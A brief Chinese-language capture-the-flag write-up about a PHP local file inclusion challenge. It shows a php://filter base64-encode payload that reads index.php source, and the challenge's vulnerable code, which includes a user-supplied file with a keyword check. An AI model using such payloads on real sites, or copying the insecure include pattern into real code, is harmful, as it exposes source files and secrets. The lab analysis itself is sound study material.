题目
过程
1.点击一个按钮,注意到url有点类似伪协议。用poc尝试一下读取index.php
php://filter/read=convert.base64-encode/resource=index
出现base64,解码得源码。只放出有参考意义的片段。原来是后面做了拼接,所以前面的poc才不能加.php
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必须含有woofers或meowers或index字符串
include ($file . '.php'); //参数后拼接.php
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
2.php://filter伪协议可以套一层协议
由源码分析,我们可知,传进去的file值如果是woofers或者是meowers,就会带出flag。base64解码。